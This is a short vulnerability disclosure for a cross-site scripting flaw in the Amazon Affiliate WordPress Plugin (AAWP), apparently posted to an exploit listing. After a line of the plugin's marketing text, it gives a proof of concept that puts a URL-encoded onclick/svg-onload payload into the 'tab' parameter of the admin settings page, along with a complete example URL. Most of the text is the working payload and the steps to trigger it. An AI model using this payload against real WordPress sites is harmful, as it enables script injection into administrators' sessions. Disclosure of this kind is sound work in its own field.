Amazon Affiliate WordPress Plugin (AAWP) 3 v16 is Best WordPress Plugin for Amazon Affiliates Increase the value of your affiliate page and your earned commissions!
Proof of Concept:
# Go to /wp-admin/admin.php?page=aawp-settings&tab=XXXX
# Add payload to the Tab, the XSS Payload: %22onclick%3Dprompt%288%29%3E%3Csvg%2Fonload%3Dprompt%288%29%3E%22%40x.y
# XSS has been triggered.
Example : http://localhost/wp-admin/admin.php?page=aawp-settings&tab=%22onclick%3Dprompt%288%29%3E%3Csvg%2Fonload%3Dprompt%288%29%3E%22%40x.y